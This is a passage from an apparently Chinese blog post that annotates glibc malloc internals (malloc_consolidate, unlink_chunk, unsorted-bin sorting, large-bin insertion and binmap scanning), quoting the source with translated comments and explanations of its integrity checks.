first_unsorted-\u0026gt;bk = p; if (!in_smallbin_range (size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p-\u0026gt;bk = unsorted_bin; p-\u0026gt;fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av-\u0026gt;top = p; } } while ( (p = nextp) != 0); } } while (fb++ != maxfb); } malloc_consolidate 是 free() 函数的一个专门化版本，用于清理（拆解）存放在 fastbins 中的堆块。free() 函数本身不能用于此目的，主要原因之一是它可能会将堆块重新放回 fastbins 中。因此，我们需要使用一套基于相同逻辑但略有不同的变体代码。\n前置处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mfastbinptr* fb; /* current fastbin being consolidated */ mfastbinptr* maxfb; /* last fastbin (for loop control) */ mchunkptr p; /* current chunk being consolidated */ mchunkptr nextp; /* next chunk to consolidate */ mchunkptr unsorted_bin; /* bin header */ mchunkptr first_unsorted; /* chunk to link to */ /* These have same use as in free() */ mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; atomic_store_relaxed (\u0026amp;av-\u0026gt;have_fastchunks, false); unsorted_bin = unsorted_chunks(av); atomic_store_relaxed (\u0026amp;av-\u0026gt;have_fastchunks, false); 将“是否存在 Fastbin 块”的标志位重置为 false\n然后获取 unsorted_bin 链表头\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /* Unsorted chunks All remainders from chunk splits, as well as all returned chunks, are first placed in the \u0026#34;unsorted\u0026#34; bin. They are then placed in regular bins after malloc gives them ONE chance to be used before binning. So, basically, the unsorted_chunks list acts as a queue, with chunks being placed on it in free (and malloc_consolidate), and taken off (to be either used or placed in bins) in malloc. The NON_MAIN_ARENA flag is never set for unsorted chunks, so it does not have to be taken into account in size comparisons. */ /* The otherwise unindexable 1-bin is used to hold unsorted chunks. */ #define unsorted_chunks(M) (bin_at (M, 1)) 翻译： 所有由内存块分割产生的余块（remainders），以及所有归还的内存块（被释放的 chunks），都会首先被放入“unsorted” bin。在将它们移入常规 bin（small/large bins）之前，malloc 会给予它们仅有一次被直接使用的机会。 因此，从本质上讲，unsorted_chunks 列表充当了一个队列的角色：内存块在执行 free（以及 malloc_consolidate）时被放入该队列，并在执行 malloc 时被移出该队列（移出后要么直接用于满足当前的分配请求，要么被分拣到对应的常规 bin 中）。 此外，对于 unsorted 块，NON_MAIN_ARENA 标志位永远不会被设置，因此在进行内存块大小的比较时，无需考虑该标志位的影响。\nunsortedbin 在 bins 中的索引为 0\n取出 fastbin 链表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 /* Remove each chunk from fast bin and consolidate it, placing it then in unsorted bin. Among other reasons for doing this, placing in unsorted bin avoids needing to calculate actual bins until malloc is sure that chunks aren\u0026#39;t immediately going to be reused anyway. */ maxfb = \u0026amp;fastbin (av, NFASTBINS - 1); fb = \u0026amp;fastbin (av, 0); do { p = atomic_exchange_acq (fb, NULL); if (p != 0) { do { { if (__glibc_unlikely (misaligned_chunk (p))) malloc_printerr (\u0026#34;malloc_consolidate(): \u0026#34; \u0026#34;unaligned fastbin chunk detected\u0026#34;); unsigned int idx = fastbin_index (chunksize (p)); if ((\u0026amp;fastbin (av, idx)) != fb) malloc_printerr (\u0026#34;malloc_consolidate(): invalid chunk size\u0026#34;); } check_inuse_chunk(av, p); nextp = REVEAL_PTR (p-\u0026gt;fd); p = atomic_exchange_acq (fb, NULL); 以原子方式，一次性拎走（提取）整条 Fastbin 链表，并同时将该 Bin 清空。\n要求 p 的地址对齐 16 位\n然后获取 p 中 size 的对应 index ，要求与 fastbin 索引一致\n然后解码 p-\u0026gt;fd 赋予 nextp\n合并操作 1 2 3 4 5 6 7 8 9 10 11 12 13 /* Slightly streamlined version of consolidation code in free() */ size = chunksize (p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\u0026#34;corrupted size vs. prev_size in fastbins\u0026#34;); unlink_chunk (av, p); } 当物理上前一个 chunk 是 free 状态时，若 chunksize(p) != prevsize 检查通过，即当前 chunk 的 prevsize 与前一个 chunk 的 size 匹配，则触发 unlink_chunk\nunlink_chunk 源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 /* Take a chunk off a bin list. */ static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (\u0026#34;corrupted size vs. prev_size\u0026#34;); mchunkptr fd = p-\u0026gt;fd; mchunkptr bk = p-\u0026gt;bk; if (__builtin_expect (fd-\u0026gt;bk != p || bk-\u0026gt;fd != p, 0)) malloc_printerr (\u0026#34;corrupted double-linked list\u0026#34;); fd-\u0026gt;bk = bk; bk-\u0026gt;fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) \u0026amp;\u0026amp; p-\u0026gt;fd_nextsize != NULL) { if (p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize != p || p-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize != p) malloc_printerr (\u0026#34;corrupted double-linked list (not small)\u0026#34;); if (fd-\u0026gt;fd_nextsize == NULL) { if (p-\u0026gt;fd_nextsize == p) fd-\u0026gt;fd_nextsize = fd-\u0026gt;bk_nextsize = fd; else { fd-\u0026gt;fd_nextsize = p-\u0026gt;fd_nextsize; fd-\u0026gt;bk_nextsize = p-\u0026gt;bk_nextsize; p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize = fd; p-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = fd; } } else { p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize = p-\u0026gt;bk_nextsize; p-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = p-\u0026gt;fd_nextsize; } } } 校验与脱链 1 2 3 4 5 6 7 8 9 10 11 if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (\u0026#34;corrupted size vs. prev_size\u0026#34;); mchunkptr fd = p-\u0026gt;fd; mchunkptr bk = p-\u0026gt;bk; if (__builtin_expect (fd-\u0026gt;bk != p || bk-\u0026gt;fd != p, 0)) malloc_printerr (\u0026#34;corrupted double-linked list\u0026#34;); fd-\u0026gt;bk = bk; bk-\u0026gt;fd = fd; chunksize (p) != prev_size (next_chunk (p)) 检测要求被取出块 p 的 size 与其物理相邻的高地址块的 prevsize 匹配\n__builtin_expect (fd-\u0026gt;bk != p || bk-\u0026gt;fd != p, 0) 检测要求当前块前驱的后继和后继的前驱均为自己\n校验完成，脱链\nNextsize 链表维护 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 if (!in_smallbin_range (chunksize_nomask (p)) \u0026amp;\u0026amp; p-\u0026gt;fd_nextsize != NULL) { if (p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize != p || p-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize != p) malloc_printerr (\u0026#34;corrupted double-linked list (not small)\u0026#34;); if (fd-\u0026gt;fd_nextsize == NULL) { if (p-\u0026gt;fd_nextsize == p) fd-\u0026gt;fd_nextsize = fd-\u0026gt;bk_nextsize = fd; else { fd-\u0026gt;fd_nextsize = p-\u0026gt;fd_nextsize; fd-\u0026gt;bk_nextsize = p-\u0026gt;bk_nextsize; p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize = fd; p-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = fd; } } else { p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize = p-\u0026gt;bk_nextsize; p-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = p-\u0026gt;fd_nextsize; } } !in_smallbin_range (chunksize_nomask (p)) \u0026amp;\u0026amp; p-\u0026gt;fd_nextsize != NULL 检测要求块 p 的 size 不属于 smallbin 的管辖范围，即 p 属于 largebin 的管辖范围，且 p-\u0026gt;fd_nextsize 不为空，即 p 是该 Size 组的组长，即距离哨兵最近的那个。这确保 p 一定在 largebin 或 unsortedbin 中\n而接下来的 double-link 检测则排除了 p 位于 unsortedbin 的情况，由此 p 一定在 largebin 中\nfd_nextsize 和 bk_nextsize 参与构建了一个按 Size 排序的沿 bk 单调递增的不包含哨兵的双向循环链表，该链表是 largebin 链表的一个子链表，而这段代码正是维护了这个链表\n合并策略 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 if (nextchunk != av-\u0026gt;top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink_chunk (av, nextchunk); } else clear_inuse_bit_at_offset(nextchunk, 0); first_unsorted = unsorted_bin-\u0026gt;fd; unsorted_bin-\u0026gt;fd = p; first_unsorted-\u0026gt;bk = p; if (!in_smallbin_range (size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } set_head(p, size | PREV_INUSE); p-\u0026gt;bk = unsorted_bin; p-\u0026gt;fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av-\u0026gt;top = p; } } while ( (p = nextp) != 0); } } while (fb++ != maxfb); set_head 和 set_foot 分别设置 size 和对应的 prev_size\n综合该段代码和前面的分析， malloc_consolidate 的作用是：\n合并策略： 向后看（低地址）：在进入这段代码前， p 已经和低地址块合并过了。 向前看（高地址）：这段代码检查 nextchunk 是否空闲，能合就合。 结果去向： 如果碰到了 Top Chunk $\\rightarrow$ 合并进去，壮大荒野。 如果没碰到 Top Chunk $\\rightarrow$ 塞进 Unsorted Bin，等下次 malloc 时再重新分配或归类。 总结 malloc_consolidate 会将 fastbin 中的块合并后，放入以下两个地方之一：\nUnsorted Bin（绝大多数情况） Top Chunk（如果合并后的块在物理地址上紧邻 Top Chunk） 详细的过程拆解 你可以把 malloc_consolidate 想象成一个“粉碎机”+“焊机”，它处理 fastbin 块的逻辑如下：\n第一步：取样与合并 它会遍历所有的 fastbins，把里面的每一个 chunk 拿出来。拿出来之后，它不会立即给这个 chunk 找新家，而是先看它的“邻居”：\n向后合并（低地址）：检查物理相邻的低地址块是否空闲。如果是，利用 prev_size 找到它，把它从它所在的 bin 中 unlink 掉，和当前块合并。 向前合并（高地址）：检查物理相邻的高地址块是否空闲。如果是，把它从所在的 bin 中 unlink 掉，和当前块合并。 第二步：根据位置决定去向 经过第一步，这个 chunk 可能已经从小碎片变成了大块。现在它面临两个选择：\n并入 Top Chunk：\n如果合并后的块，其高地址方向紧挨着 Top Chunk。 结果：它不会进入任何 bin，而是直接被“吸入” Top Chunk，增加 Top Chunk 的大小，并更新 av-\u0026gt;top 的指针。 放入 Unsorted Bin：\n如果合并后的块，其高地址方向不是 Top Chunk。 结果：它会被放入 Unsorted Bin。 注意：此时它还没有进入 Smallbin 或 Largebin。只有在接下来的 _int_malloc 循环遍历 Unsorted Bin 时，才会根据它的最终大小，把它分拣（Place）到对应的 Smallbin 或 Largebin 中。 效应 在 malloc_consolidate 运行结束后：\nFastbins：变为空（Empty）。 Unsorted Bin：多了很多合并后的中大型堆块。 Top Chunk：可能变得更大。 Small/Large Bins：此时没有任何变化（它们的变化发生在随后的 _int_malloc 流程中）。 unsortedbin 相关处理 转移准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /* Process recently freed or remaindered chunks, taking one only if it is exact fit, or, if this a small request, the chunk is remainder from the most recent non-exact fit. Place other traversed chunks in bins. Note that this step is the only place in any routine where chunks are placed in bins. The outer loop here is needed because we might not realize until near the end of malloc that we should have consolidated, so must do so and retry. This happens at most once, and only when we would otherwise need to expand memory to service a \u0026#34;small\u0026#34; request. */ #if USE_TCACHE INTERNAL_SIZE_T tcache_nb = 0; size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) tcache_nb = nb; int return_cached = 0; tcache_unsorted_count = 0; #endif 翻译： 处理最近释放的（recently freed）或切分剩余的（remaindered）堆块。只有在以下两种情况时才直接取用堆块：一是大小完全匹配（exact fit）；二是对于小尺寸（small request）申请，该块是最近一次非精确匹配后切剩下的余料。 将其余遍历到的堆块放入对应的 bin 中（即 Smallbin 或 Largebin）。请注意，这一步是整个分配程序中唯一一处将堆块放入（归类到）对应 bin 的地方。 此处需要一个外层循环，是因为直到分配过程接近尾声时，我们才可能意识到应当进行内存合并（consolidation），此时必须执行合并并重试分配。这种情况最多只会发生一次，且仅当在不合并就必须扩展内存（即调用 sbrk/mmap）来满足“小尺寸”申请时才会触发。\n同时准备把 unsortedbin 转移至 tcache\n各种检查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)-\u0026gt;bk) != unsorted_chunks (av)) { bck = victim-\u0026gt;bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size); if (__glibc_unlikely (size \u0026lt;= CHUNK_HDR_SZ) || __glibc_unlikely (size \u0026gt; av-\u0026gt;system_mem)) malloc_printerr (\u0026#34;malloc(): invalid size (unsorted)\u0026#34;); if (__glibc_unlikely (chunksize_nomask (next) \u0026lt; CHUNK_HDR_SZ) || __glibc_unlikely (chunksize_nomask (next) \u0026gt; av-\u0026gt;system_mem)) malloc_printerr (\u0026#34;malloc(): invalid next size (unsorted)\u0026#34;); if (__glibc_unlikely ((prev_size (next) \u0026amp; ~(SIZE_BITS)) != size)) malloc_printerr (\u0026#34;malloc(): mismatching next-\u0026gt;prev_size (unsorted)\u0026#34;); if (__glibc_unlikely (bck-\u0026gt;fd != victim) || __glibc_unlikely (victim-\u0026gt;fd != unsorted_chunks (av))) malloc_printerr (\u0026#34;malloc(): unsorted double linked list corrupted\u0026#34;); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr (\u0026#34;malloc(): invalid next-\u0026gt;prev_inuse (unsorted)\u0026#34;); 外层 for 循环作用如翻译所言：\n此处需要一个外层循环，是因为直到分配过程接近尾声时，我们才可能意识到应当进行内存合并（consolidation），此时必须执行合并并重试分配。这种情况最多只会发生一次，且仅当在不合并就必须扩展内存（即调用 sbrk/mmap）来满足“小尺寸”申请时才会触发。\n内层 while 对 unsorted_chunks 作遍历，直到 unsortedbin 为空\n此处针对 unsorted_chunks 的检查有：\n当前 Chunk 尺寸合法性检查 下一个 Chunk 尺寸合法性检查 size 与 prev_size 的一致性检查 double linked 检查 PREV_INUSE (P) 标志位一致性检查 切割余料 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) \u0026amp;\u0026amp; bck == unsorted_chunks (av) \u0026amp;\u0026amp; victim == av-\u0026gt;last_remainder \u0026amp;\u0026amp; (unsigned long) (size) \u0026gt; (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)-\u0026gt;bk = unsorted_chunks (av)-\u0026gt;fd = remainder; av-\u0026gt;last_remainder = remainder; remainder-\u0026gt;bk = remainder-\u0026gt;fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } 翻译： 如果是小尺寸请求（small request），且 Unsorted Bin 中只有一个堆块，则尝试使用‘最近一次切分剩下的余料’（last remainder）。这有助于提升连续小尺寸请求序列的局部性（locality）。这是对‘最佳适配’（best-fit）原则的唯一例外，且仅在没有找到大小完全精确匹配（exact fit）的小堆块时才会生效\n触发条件： 为了不让这种例外导致严重的内存碎片，它必须满足： 是 Small Request：申请的大小在 Smallbin 范围内。 Unsorted Bin 只有这一个块：如果还有别的块，说明还没分拣完，必须按规矩办事。 没有 Exact Fit：如果你申请 0x20，而 Unsorted Bin 里正好有一个 0x20 的块，那肯定优先用那个，不需要切余料。\n脱链，以及大小匹配情形 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /* remove from unsorted list */ if (__glibc_unlikely (bck-\u0026gt;fd != victim)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks 3\u0026#34;); unsorted_chunks (av)-\u0026gt;bk = bck; bck-\u0026gt;fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); #if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; #if USE_TCACHE } #endif } 把 chunk 从 unsortedbin 脱链\n若发现该 chunk 符合申请的 size ，考虑：\n可以放进 tcache 则放进 tcache ，然后 continue 回去读下一个 chunk 否则直接返回该 chunk 放进 smallbin 1 2 3 4 5 6 7 8 /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; } 该 chunk 不符合申请的 size ，但符合 in_smallbin_range ，那就先放进 smallbin\n放进 largebin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck-\u0026gt;bk)); if ((unsigned long) (size) \u0026lt; (unsigned long) chunksize_nomask (bck-\u0026gt;bk)) { fwd = bck; bck = bck-\u0026gt;bk; victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size \u0026lt; chunksize_nomask (fwd)) { fwd = fwd-\u0026gt;fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd-\u0026gt;fd; else { victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; if (__glibc_unlikely (fwd-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize != fwd)) malloc_printerr (\u0026#34;malloc(): largebin double linked list corrupted (nextsize)\u0026#34;); fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } bck = fwd-\u0026gt;bk; if (bck-\u0026gt;fd != fwd) malloc_printerr (\u0026#34;malloc(): largebin double linked list corrupted (bk)\u0026#34;); } } else victim-\u0026gt;fd_nextsize = victim-\u0026gt;bk_nextsize = victim; } 否则考虑将 chunk 放入 largebin 中，并维护单调性，过程中有 double linked 审查\n注意，这时候只更新了 fwd 和 bck ，还没插入 victim\nwhile 循环收尾 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 mark_bin (av, victim_index); victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; #if USE_TCACHE /* If we\u0026#39;ve processed as many chunks as we\u0026#39;re allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached \u0026amp;\u0026amp; mp_.tcache_unsorted_limit \u0026gt; 0 \u0026amp;\u0026amp; tcache_unsorted_count \u0026gt; mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); } #endif #define MAX_ITERS 10000 if (++iters \u0026gt;= MAX_ITERS) break; } #if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached) { return tcache_get (tc_idx); } #endif 正式插入 victim ，并在 binmap 中打上标记\n如果 return_cached 满足且 tcache 对从 unsortedbin 的转移做了限制且目前已超出限制，则返回之前记录的转移至 tcache 中的 chunk\n设定内层 while 循环的最大迭代次数\n内层 while 循环边界在此\n如果我们找到的所有小块（small chunks）最终都存入了 tcache，那么现在就返回其中一个。\nBinmap 相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /* Binmap To help compensate for the large number of bins, a one-level index structure is used for bin-by-bin searching. `binmap\u0026#39; is a bitvector recording whether bins are definitely empty so they can be skipped over during during traversals. The bits are NOT always cleared as soon as bins are empty, but instead only when they are noticed to be empty during traversal in malloc. */ /* Conservatively use 32 bits per map word, even if on 64bit system */ #define BINMAPSHIFT 5 #define BITSPERMAP (1U \u0026lt;\u0026lt; BINMAPSHIFT) #define BINMAPSIZE (NBINS / BITSPERMAP) #define idx2block(i) ((i) \u0026gt;\u0026gt; BINMAPSHIFT) #define idx2bit(i) ((1U \u0026lt;\u0026lt; ((i) \u0026amp; ((1U \u0026lt;\u0026lt; BINMAPSHIFT) - 1)))) #define mark_bin(m, i) ((m)-\u0026gt;binmap[idx2block (i)] |= idx2bit (i)) #define unmark_bin(m, i) ((m)-\u0026gt;binmap[idx2block (i)] \u0026amp;= ~(idx2bit (i))) #define get_binmap(m, i) ((m)-\u0026gt;binmap[idx2block (i)] \u0026amp; idx2bit (i)) Binmap 是 malloc 中的一个极其高效的性能优化机制。\n简单来说，它的作用是：在“箱子索引图”（binmap）中打个勾，标记第 i 号 bin 现在已经不是空的了。\n在 malloc 的分配过程中，当 Unsorted Bin 里的块被分拣完后，系统需要去 Smallbins 或 Largebins 里寻找合适的块。\n笨办法：从目标的 bin 开始，一个一个往后检查每个 bin 是否为空。如果连续 50 个 bin 都是空的，这种遍历会非常浪费 CPU 时间。 聪明办法（glibc 的做法）：维护一个位图（Bitmap）。每个 bit 代表一个 bin： 如果 bit 是 1，表示这个 bin 可能有空闲块。 如果 bit 是 0，表示这个 bin 一定是空的。 加速效果：通过检查位图（利用 CPU 的位运算指令，如 ffs 或 bsf），malloc 可以瞬间跳过几十个空的 bin，直接定位到最近的非空 bin 扫描 largebin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin \u0026amp;\u0026amp; (unsigned long) chunksize_nomask (victim) \u0026gt;= (unsigned long) (nb)) { victim = victim-\u0026gt;bk_nextsize; while (((unsigned long) (size = chunksize (victim)) \u0026lt; (unsigned long) (nb))) victim = victim-\u0026gt;bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) \u0026amp;\u0026amp; chunksize_nomask (victim) == chunksize_nomask (victim-\u0026gt;fd)) victim = victim-\u0026gt;fd; remainder_size = size - nb; unlink_chunk (av, victim); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks\u0026#34;); remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } 如果是大尺寸请求，按排序顺序遍历当前 bin 中的堆块，以寻找满足要求的最小堆块（即最佳适配）。为此利用跳表（skip list，指 nextsize 指针链表）来实现。\n如果 bin 为空，或者最大的堆块也太小（无法满足请求尺寸），则跳过扫描。\n避免移除同尺寸堆块中的第一个条目（组长），这样就不必重新调整跳表（nextsize 链表）的指针指向。\n如果剩余部分的大小不足以作为一个独立堆块，则将整个堆块全部分配给用户）。\n如果剩余部分足够大，可以作为一个独立的堆块存在。\n我们不能假设 Unsorted 链表是空的，因此必须在后续执行完整的插入操作（将切分出的余料放入 Unsorted Bin），同时记得清空 nextsize 指针。\n检索 binmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; bin = bin_at (av, idx); block = idx2block (idx); map = av-\u0026gt;binmap[block]; bit = idx2bit (idx); for (;; ) { /* Skip rest of block if there are no more set bits in this block. */ if (bit \u0026gt; map || bit == 0) { do { if (++block \u0026gt;= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av-\u0026gt;binmap[block]) == 0); bin = bin_at (av, (block \u0026lt;\u0026lt; BINMAPSHIFT)); bit = 1; } /* Advance to bin with set bit. There must be one. */ while ((bit \u0026amp; map) == 0) { bin = next_bin (bin); bit \u0026lt;\u0026lt;= 1; assert (bit != 0); } /* Inspect the bin. It is likely to be non-empty */ victim = last (bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { av-\u0026gt;binmap[block] = map \u0026amp;= ~bit; /* Write through */ bin = next_bin (bin); bit \u0026lt;\u0026lt;= 1; } else { size = chunksize (victim); /* We know the first chunk in this bin is big enough to use. */ assert ((unsigned long) (size) \u0026gt;= (unsigned long) (nb)); remainder_size = size - nb; /* unlink */ unlink_chunk (av, victim); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks 2\u0026#34;); remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; /* advertise as last remainder */ if (in_smallbin_range (nb)) av-\u0026gt;last_remainder = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } 初始化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; bin = bin_at (av, idx); block = idx2block (idx); map = av-\u0026gt;binmap[block]; bit = idx2bit (idx); for (;; ) { 通过扫描 bins 来寻找堆块，从紧邻的下一个较大的 bin 开始。这种搜索严格遵循“最佳适配”（best-fit）原则；也就是说，会选择满足要求的最小堆块（如果大小相同，则大致选择最久未使用的那个）。\n位图（bitmap）机制避免了检查大多数（为空的）bin 块的需要。在程序刚启动（预热阶段）、尚无堆块被释放回 bin 时，跳过所有 bin 的这种特定情况，其执行速度比看起来还要快。\n找到对应的 binmap ，初始化相关要素\n进入内层 for 循环\n定位 bin 1 2 3 4 